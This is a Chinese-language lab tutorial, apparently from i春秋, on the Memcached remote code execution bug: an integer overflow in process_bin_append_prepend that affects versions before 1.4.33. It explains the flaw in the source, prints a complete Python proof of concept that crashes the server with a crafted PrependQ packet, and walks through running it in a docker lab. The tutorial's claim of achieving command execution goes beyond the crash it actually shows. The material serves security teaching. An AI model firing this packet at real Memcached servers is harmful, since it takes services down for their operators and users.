实验Memcached Server远程代码执行漏洞
Posted i春秋
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了实验Memcached Server远程代码执行漏洞相关的知识,希望对你有一定的参考价值。
Memcached 是一个高性能的分布式内存对象缓存系统,用于动态Web应用以减轻数据库负载。它通过在内存中缓存数据和对象来减少读取数据库的次数,从而提高动态、数据库驱动网站的速度。
”
Memcached是一个广泛使用的高速缓存系统,对方可以通过向服务器发送一个精心构造的Memcached命令实现该漏洞的利用。此外,这些漏洞还可以泄露敏感的进程信息,并且可以多次触发,利用这些敏感的进程信息,对方可以绕过像ASLR等常见的漏洞缓解机制。漏洞出现的原因是因为process_bin_append_prepend函数存在整数溢出。该函数主要负责处理memcached二进制协议的多个命令,最终可能出现滥用导致堆溢出并实现远程代码执行问题。
今天小编带大家了解Memcached Server远程代码执行漏洞原理基础知识,通过实验掌握对该漏洞的修补方法吧~
实验环境
操作机:Windows XP
目标机:Ubuntu
目标机IP:172.16.12.2
实验目的
了解漏洞产生原理
学习漏洞攻击、防御手法
实验内容
漏洞简介
攻击者可以通过向服务器发送一个精心构造的Memcached命令实现该漏洞的利用。此外,漏洞还可以泄露敏感的进程信息,并且可以多次触发,利用这些敏感的进程信息,攻击者可以绕过像ASLR等常见的漏洞缓解机制。
漏洞出现的原因是因为process_bin_append_prepend函数存在整数溢出。该函数主要负责处理memcached二进制协议的多个命令,最终可能出现滥用导致堆溢出并实现远程代码执行问题。
影响版本
小于1.4.33
实验步骤
步骤1:了解原理
在服务中,当执行Append (opcode 0x0e), Prepend (opcode 0x0f), AppendQ (0x19), PrependQ (opcode 0x1a)命令时会进入这样如下代码路径:
case PROTOCOL_BINARY_CMD_APPEND:case PROTOCOL_BINARY_CMD_PREPEND: if (keylen > 0 && extlen == 0) {
bin_read_key(c, bin_reading_set_header, 0);
} else {
protocol_error = 1;
} break;
这里并仅检查了keylen和extlen的值,并没有检查bodylen。
complete_nread_binary()后,即当从socket中读取和解析完header、extlen、key后,注意此时value还没从socket中读取,程序进入了process_bin_append_prepend()函数中,
key = binary_get_key(c);nkey = c->binary_header.request.keylen; //vlen = c->binary_header.request.bodylen - nkey;...it = item_alloc(key, nkey, 0, 0, vlen+2);
这里keylen做过合法性检查,bodylen没有,所以itme_alloc()函数中的参数中key、nkey可以保证合法性,但vlen无法保证。
POC内容如下:
# -*- coding: utf-8 -*-import structimport socketimport sysMEMCACHED_REQUEST_MAGIC = "\x80"OPCODE_PREPEND_Q = "\x1a"key_len = struct.pack("!H", 0xfa)extra_len = "\x00"data_type = "\x00"vbucket = "\x00\x00"body_len = struct.pack("!I", 0)opaque = struct.pack("!I", 0)CAS = struct.pack("!Q", 0)body = "A" * 1024if len(sys.argv) != 3: print "./poc_crash.py <server> <port>" sys.exit(1)packet = MEMCACHED_REQUEST_MAGIC + OPCODE_PREPEND_Q + key_len + extra_lenpacket += data_type + vbucket + body_len + opaque + CASpacket += bodyset_packet = "set testkey 0 60 4\r\ntest\r\n"get_packet = "get testkey\r\n"s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s1.connect((sys.argv[1], int(sys.argv[2])))s1.sendall(set_packet)print s1.recv(1024)s1.close()s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s2.connect((sys.argv[1], int(sys.argv[2])))s2.sendall(packet)print s2.recv(1024)s2.close()s3 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s3.connect((sys.argv[1], int(sys.argv[2])))s3.sendall(get_packet)s3.recv(1024)s3.close()
步骤2:漏洞利用
我们首先使用Xshell连接目标机器,IP为172.16.12.2 ,账号密码为:ichunqiu ichunqiu(使用Everything搜索Xshell工具)
连接成功后,使用命令:xshe
接下来启动Memcached Server服务,命令如下:
docker images //列出镜像docker run -d -p 11211:11211 af1336632a51 //启动容器
其中:-d是指让其在后台运行,-p代表指定端口,后面的代表镜像名称
这时在输入命令:
docker ps //查看容器是否运行
如上图所示,成功运行。
接下来我们执行POC,达到命令执行的效果,令Memcached服务停止运行。
使用命令:
python2.7 poc.py 127.0.0.1 11211 //执行POCdocker ps
如上图所示,服务已经停止,验证成功。
实验结果分析与总结
本次实验我们学习了Memcached Server漏洞产生原理,并使用POC成功命令执行。
戳阅读原文,感受实验环境吧~
以上是关于实验Memcached Server远程代码执行漏洞的主要内容,如果未能解决你的问题,请参考以下文章